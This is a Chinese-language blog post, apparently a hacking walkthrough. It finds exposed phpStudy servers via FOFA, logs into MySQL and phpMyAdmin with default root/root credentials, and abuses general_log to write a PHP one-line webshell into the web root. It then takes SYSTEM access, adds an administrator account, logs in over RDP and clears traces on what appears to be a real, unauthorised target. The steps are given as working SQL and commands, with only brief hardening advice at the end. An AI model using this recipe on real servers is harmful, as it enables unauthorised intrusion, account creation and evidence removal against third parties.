前言
除了之前出的打牌文 现在又找到好玩的给大家分享一波。弱口令必然是致命的 也是很多用户是比较容易忽略的。
前期准备
首先信息收集一波确认目标:fofa: body="phpstudy探针"&& title="phpStudy 探针 2014"
找几个心仪的目标下手打开的页面是这样的
正文
记住这个绝对路径 后面用得上 然后页面拉到最后 使用弱口令对MySQL数据库连接进行检测一般phpstudy
默认配置的mysql账号密码为root/root 直接使用这个去尝试登录。
但是这种命中率五五开吧 这个不行 就换一个吧 毕竟这个测试 开头还是需要弱口令进去 或者自己也可以跑
字典做其他的尝试显示这样 连接到MySql数据库正常 就是可以的。
接着 直接访问phpmyadmin 例如:http://ip:80/phpmyadmin 然后输入账号密码登录。
然后利用log日志写入一句话进去 然后再要进一步利用 提权等 一般涉及到两个地
方general_log、general_log_file
1、然后可以通过SQL指令来操作
show variables like 'general_log'; -- 查看日志是否开启
set global general_log=on; -- 开启日志功能
show variables like 'general_log_file'; -- 看看日志文件保存位置
set global general_log_file='tmp/general.lg'; -- 设置日志文件保存位置
show variables like 'log_output'; -- 看看日志输出类型 table或file
set global log_output='table'; -- 设置输出类型为 table
set global log_output='file'; -- 设置输出类型为file
主要是开启日志功能 以及设置日志存放的位置 为了方便我一般存放在根目录下前面让记住的路径现在就用得到了。
查看日志是否开启。
show variables like 'general_log';
开启日志功能。
set global general_log=on;
修改日志保存路径文件 注意要准确到文件名。
set global general_log_file=' D:/WWW/test.php'; //根据实际情况来定。
2、更简单一点的方法 在变量处 找到general_log、general_log_file 然后general_log改成ON
general_log_file改为网站根目录下的文件名。
然后通过日志来写入一句话:
SELECT'<?php assert($_POST["cmd"]);?>';
然后现在可以通过打狗菜刀或者其他软件连接上去(连接路径为日志文件存放的文件位置)。
菜刀连接上去之后 就可以进一步操作了。
在打狗菜刀上面又虚拟终端这个功能 我可以直接尝试执行CMD命令。好家伙 直接是system权限 这里
也是复现的时候遇到的 前面遇到的是administrator权限的。
whoami //查看当前用户。
贴出来看看(凑字数显得牛逼点)。
然后尝试添加新用户 密码不满足策略 这个简单 自己领悟。
net user 用户名 密码 /add //添加新用户。
然后把该用户提升为管理员权限 system权限 没有太大的问题 。
net localgroup administrators 用户名 /add //把用户提升为管理员权限。
然后查看有没有开启远程桌面服务。
tasklist /svc | findstr TermService //查看远程桌面服务信息。
然后查看服务在哪个端口。
netstat -ano | findstr **** //查看进程号端口情况。
好家伙 3389 白折腾。直接尝试远程桌面登录上去看看。
成功登录上去 简单看了一下 现在的的服务器不值钱吗 承认看到这里 我酸了。
然后看了一下磁盘里面的东西 感觉有点像赌博 菠菜的源码。
后面到这里差不多结束了,清除痕迹,擦擦屁股走人。
防范措施:
像l.php这样的文件环境调试好可以删除 或者重新定义网站的默认路径等
数据库的密码使用强密码 毕竟开局弱口令
用户权限 日志文件的权限等
总结
弱口令通常不能这么简单利用 但是一旦被利用 也是危害很高的。密码要常改 还要使用强密码不要
使用默认密码弱口令。能登陆上phpmyadmin之后,其实还需要判断版本等信息 除了通过这个日
志来写入一句话 相信还有其他方法。